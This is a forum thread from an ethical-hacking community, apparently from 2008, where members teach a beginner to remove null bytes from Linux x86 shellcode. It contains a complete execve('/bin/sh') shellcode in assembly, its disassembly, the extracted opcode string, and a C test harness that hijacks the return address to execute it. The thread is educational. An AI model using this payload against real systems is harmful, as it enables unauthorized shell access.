Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 35 guests and 1 member online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Programming
understanding for rid null bytes from my code ???
EH-Net
May 25, 2013, 11:17:14 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Programming
(Moderator:
don
) >
understanding for rid null bytes from my code ???
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: understanding for rid null bytes from my code ??? (Read 13511 times)
0 Members and 1 Guest are viewing this topic.
nubie
Newbie
Offline
Posts: 31
understanding for rid null bytes from my code ???
«
on:
December 04, 2008, 02:53:43 AM »
Hi all,
i have a question about shellcode that i learn:
* i had create some c file and i had compiled it to exe but when i
use "objdump -d file.c" i saw there is a null bytes on my code so i had compile that c file to assembler
file using gcc but when i got the assembler files i always failed to rid that null bytes from my assembler
code that i just compile, here is the assembler code that i don't had modified:
Code:
.file "shell.c"
.section .rodata
.LC0:
.string "/bin/sh"
.text
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
subl $36, %esp
movl $.LC0, -12(%ebp)
movl $0, -8(%ebp)
movl -12(%ebp), %edx
movl $0, 8(%esp)
leal -12(%ebp), %eax
movl %eax, 4(%esp)
movl %edx, (%esp)
call execve
movl $0, (%esp)
call exit
.size main, .-main
.ident "GCC: (GNU) 4.1.2 20061115 (prerelease) (SUSE Linux)"
.section .note.GNU-stack,"",@progbits
Thanks a lot before and sorry for this stupid question(still noob about asm
),
Thank you,
Logged
jimbob
Guest
Re: understanding for rid null bytes from my code ???
«
Reply #1 on:
December 04, 2008, 03:57:52 AM »
I'm not an asm programmer, but there is a very good description of this problem in the book Sockets, Shellcode, Porting and Coding by James C. Foster. Not much help if you don't have the book I know, but it's a good resource for learning to write shellcode.
Jimbob
Logged
Andrew Waite
Hero Member
Offline
Posts: 928
Re: understanding for rid null bytes from my code ???
«
Reply #2 on:
December 04, 2008, 04:03:37 AM »
Nubie,
I haven't spent much time playing with custom shellcode yet so this may not work. However, first thing I'd look at is msfencode from the Metasploit framework, I
think
you should be able to run your compiled shellcode through this with a list of bad characters to remove null bytes and any other character that would break functionality.
Hopefully you can either prove or disprove this theory, or someone with more experience can provide further guidance, good luck.
RR
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
NickFnord
Full Member
Offline
Posts: 117
Re: understanding for rid null bytes from my code ???
«
Reply #3 on:
December 04, 2008, 04:48:16 AM »
Hi Nubie - I'm also new at writing shellcode, but it is my understanding that you should look at the actual opcodes to determine where the null byte is coming from.
Use objdump -d on the compiled file and identify which commands have null bytes - for example:
80483a5: b8 11 00 00 00 mov $0x11,%eax
Has three null bytes, but you can fix this by changing to use the low 8 bit register:
mov $0x11, %al
Which will remove the null bytes from the shellcode but still perform the same function.
Does this assist at all?
Logged
jimbob
Guest
Re: understanding for rid null bytes from my code ???
«
Reply #4 on:
December 04, 2008, 07:09:25 AM »
NickFnord's answer is correct. I checked my book
Putting arbitrary values into the extended registers like eax leads to null byte padding. For example...
mov eax,1
becomes...
movl eax,0x00000001
This is because the eax register is 4 bytes wide, so when you move a value into it it must be 4 bytes in length. The way to load a value into this register is to use the 8-bit version al.
mov al,1
Set the register to zero before doing this by xoring the 32-bit register with itself...
xor eax,eax
Regards,
Jimbob
Logged
nubie
Newbie
Offline
Posts: 31
Re: understanding for rid null bytes from my code ???
«
Reply #5 on:
December 07, 2008, 11:14:59 PM »
Hi all,
Thanks a lot for all your replies and sorry just post this reply now, cause
i had a problem internet connection(
in my country it's so difficult to find a good and cheap provider). And about code above that i' had compiled theoritically
i had understand that but why/or it is true when i compiled same code in different pc with different operating systems the results i've compiled had different cause i had use suse and cygwin for compiled that code to assembly code and the result seem different although if i read carefully the null byte is different
.
And i still try to rid that null in different OS like that cause i want to full understanding about this matter
. Thank's a lot again for your kind help
and sorry for this post
Logged
NickFnord
Full Member
Offline
Posts: 117
Re: understanding for rid null bytes from my code ???
«
Reply #6 on:
December 08, 2008, 04:31:14 AM »
don't say sorry for posting! there's no such thing as a stupid question.
yes, your code may compile differently under different operating systems and definately with different compilers, but it should all by syntactically the same.
the general process for writing shellcode goes:
1. write your code in a high level language
2. compile to assembly
3. take only the assembly component that you need from it
4. compile cut-down assembly to binary
5. disassemble resulting binary to identify null bytes
6. re-work the assembly until you remove null bytes (see above posts for general idea of how to remove null bytes).
you may need to engage in some jiggery-pokery to reserve space for strings such as /bin/sh etc.
if you're serious about getting into this, I Highly recommend getting "the shellcoders handbook" - the entire book is dedicated to writing shellcode.
I'll post an excerpt from it detailing the above steps later on if you like (don't have the book in front of me right now).
Logged
nubie
Newbie
Offline
Posts: 31
Re: understanding for rid null bytes from my code ???
«
Reply #7 on:
December 08, 2008, 09:49:27 PM »
Thank you NickFnord for your support and your help
,
and i'm really like/glad if you want to help me.
regards,
nubie
Logged
nubie
Newbie
Offline
Posts: 31
Re: understanding for rid null bytes from my code ???
«
Reply #8 on:
December 09, 2008, 03:03:34 AM »
Hi all,
What i want to asking is about in line 16 in my code that i posted about %.LC0 when i search about LC0 it just about symbol/label for an address and i see using objdump the address is
0x8048500 and it contain one part NULL, i need some help/advices for rid that part of NULL from that address ?.
And also is my think is true based on this replies post, about if that just contain full NULL like ex:
mov ebx, 0 (in shellcode it contain full NULL)
so the change is: xor ebx, ebx
And how about is write movl $0,(%esp)(like my code in below, it showed)
is just the change just like : xor %esp,(%esp)
Thank you, but sorry if my language is confusing
,
regards,
nubie
Logged
NickFnord
Full Member
Offline
Posts: 117
Re: understanding for rid null bytes from my code ???
«
Reply #9 on:
December 09, 2008, 06:05:05 AM »
Hi again,
I was going to try to type out an excerpt from the shellcoder's handbook, but it is multiple pages long. This was a Good Thing because it forced me to understand it prior to posting here :-) I havn't done so previously because I'm focusing on the reversing course that I'm doing at the moment.
Anyway, In summary:
We want to spawn a shell by calling
Code:
execve ('/bin/sh','/bin/sh',null);
So first we write what we want to do in c (this is code from the book):
Code:
#include <stdio.h>
int main()
{
char *happy[2];
happy[0] = "/bin/sh";
happy[1] = null;
execve (happy[0],happy,null);
}
Next we disassemble it and take a look at the execve call (this is cut down to show the parameters and the call itself, but it's good to look at the entire function):
Code:
804e15b: 8b 5d 08 mov 0x8(%ebp),%ebx
<snip>
804e165: 8b 4d 0c mov 0xc(%ebp),%ecx
804e168: 8b 55 10 mov 0x10(%ebp),%edx
804e16b: b8 0b 00 00 00 mov $0xb,%eax
804e170: cd 80 int $0x80
As you can see, int 80 performs the syscall which is stored in eax (execve is 0xb) and takes three arguments, passed in via the registers ebx, ecx and edx (fastcall convention).
The problem with simply taking the disassembly and removing null bytes is that there are a lot of hard-coded addresses in there - which, as you've found, are difficult to deal with.
So we need a way to make it so we can reference everything via relative addressing.
The simplest way to do this is to have our shellcode execute in it's own stack frame that we can control. The idea is that we start the shellcode off with a call and then go from there.
Here's the assembly code from the book (sorry for the intel syntax):
Code:
Section .text
global _start
_start:
jmp short gotocall
shellcode:
pop esi
xor eax, eax
mov byte [esi+7], al
lea ebx, [esi]
mov long [esi +8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi +12]
int 0x80
gotocall:
call shellcode
db '/bin/shABBBBCCCC'
When the call instruction is executed, the instruction immediately following is placed on the stack. We've included some padding in the db (define byte) instruction in order to make room for the extra parameters in our call to execve.
Next we pop esi to get the address of our '/bin/shABBBBCCCC' string into the ESI register - now we can reference this as offsets from ESI.
Code:
xor eax, eax
sets eax to null.
Code:
mov byte [esi+7], al
places a null over the 7th byte in our string the "A"
Code:
lea ebx, [esi]
places our string into ebx
Code:
mov long [esi +8], ebx
moves our string into the address at esi+8. our string now should look like: '/bin/sh./bin/shCCCC' with the "." representing a null
Code:
mov long [esi + 12], eax
This moves null (eax was xor'd previously) into the last part of our string
Now we set up ready for the interrupt 80:
Code:
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi +12]
At this point - EAX will contain 00 00 00 0b
EBX will contain a pointer to the string '/bin/sh'
Ecx will also contain a pointer to the string '/bin/sh'
And edx will contain a pointer to a null
Then we execute the interrupt.
Code:
int 0x80
So you merely have to compile that assembly and extract the opcodes.
hope that helps -
«
Last Edit: December 09, 2008, 06:11:21 AM by NickFnord
»
Logged
nubie
Newbie
Offline
Posts: 31
Re: understanding for rid null bytes from my code ???
«
Reply #10 on:
December 10, 2008, 10:08:35 PM »
Hi NickFnord,
thanks for the tutorial above, but from that that tutorial it makes me think/choose for
create a true code without NULL by using pure assembly code or fixing NULL bytes later
when code has set up
, actually both of it i must still learn but i just ask some opinion
about this.
Thank's a lot .
regards,
nubie
Logged
NickFnord
Full Member
Offline
Posts: 117
Re: understanding for rid null bytes from my code ???
«
Reply #11 on:
December 11, 2008, 04:34:29 AM »
I'm by no means an expert, just learning, like yourself so I may be very wrong, (please someone stop me if I am!) but I'm almost certain that for the most part when writing shellcode yourself you're not going to be able to simply manipulate the existing assembly to remove the nulls, you're going to have to analyse the code that you're wanting to execute and break it down into its essential components and then re-write as efficiently as you can.
Even when you do a simple exit as below:
Code:
> vi exitcode.c
void main()
{
exit(0);
}
> gcc -static -o exitcode exitcode.c
> objdump -d ./exitcode > exitcode.dump
0804e12c <_exit>:
804e12c: 8b 5c 24 04 mov 0x4(%esp),%ebx
804e130: b8 fc 00 00 00 mov $0xfc,%eax
804e135: cd 80 int $0x80
804e137: b8 01 00 00 00 mov $0x1,%eax
804e13c: cd 80 int $0x80
you're still going to have to figure out what is being loaded into ebx (0 apparently).
and determine whether you need both int 80's. (one is exit_group() and one is exit())
The resulting assembly would be
Code:
section .text
global _start
_start:
xor ebx, ebx
xor eax, eax
mov al, 1
int 80
which doesn't really bear a lot of resemblence to the original disassembly
Logged
nubie
Newbie
Offline
Posts: 31
Re: understanding for rid null bytes from my code ???
«
Reply #12 on:
December 11, 2008, 04:51:40 AM »
Hi NickFnord,
Thanks for your opinion and it makes me realizes and comfort about writing shellcode
.
Thanks again for your help
.
regards,
nubie
Logged
logisic
Newbie
Offline
Posts: 2
Re: understanding for rid null bytes from my code ???
«
Reply #13 on:
December 18, 2008, 06:28:02 PM »
nubie, have u tried that asm code NickFnord posted on reply #9? been trying to run it but it keeps segfaulting on me. NickFnord, any thoughts? m running ubuntu 8.10, also tried on debian 4 and fedora 10 but i got the same result, if that matters.
Logged
NickFnord
Full Member
Offline
Posts: 117
Re: understanding for rid null bytes from my code ???
«
Reply #14 on:
December 19, 2008, 06:51:58 PM »
the idea is that you compile the asm, objdump it, extract the opcodes and then test it in a C program.
Code:
bt shellcode # objdump -d ./shell
./shell: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 1a jmp 804807c <gotocall>
08048062 <shellcode>:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0x7(%esi)
8048068: 8d 1e lea (%esi),%ebx
804806a: 89 5e 08 mov %ebx,0x8(%esi)
804806d: 89 46 0c mov %eax,0xc(%esi)
8048070: b0 0b mov $0xb,%al
8048072: 89 f3 mov %esi,%ebx
8048074: 8d 4e 08 lea 0x8(%esi),%ecx
8048077: 8d 56 0c lea 0xc(%esi),%edx
804807a: cd 80 int $0x80
0804807c <gotocall>:
804807c: e8 e1 ff ff ff call 8048062 <shellcode>
8048081: 2f das
8048082: 62 69 6e bound %ebp,0x6e(%ecx)
8048085: 2f das
8048086: 73 68 jae 80480f0 <gotocall+0x74>
8048088: 41 inc %ecx
8048089: 42 inc %edx
804808a: 42 inc %edx
804808b: 42 inc %edx
804808c: 42 inc %edx
804808d: 43 inc %ebx
804808e: 43 inc %ebx
804808f: 43 inc %ebx
8048090: 43 inc %ebx
take the opcodes and stick into a test framework:
Code:
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43"
"\x43";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
and that should run fine.
edit: here's a good article I found helpful too:
http://www.madirish.net/?article=168
«
Last Edit: December 19, 2008, 06:59:34 PM by NickFnord
»
Logged
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
News Items and General Discussion About EH-Net
: Change is Coming to EH-Net!!
(30) by
don
Tools
: Symbolic Exploit Assistant project is looking for collaborators
(0) by
galapag0
Greetings
: Hi from the UK
(5) by
prats84
GCIH - GIAC Certified Incident Handler
: Passed my GCIH
(9) by
prats84
Network Pen Testing
: Want a challenge? Want a GXPN practice exam?
(0) by
ajohnson
GCIH - GIAC Certified Incident Handler
: GCIH Free Practice test attempt
(1) by
prats84
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.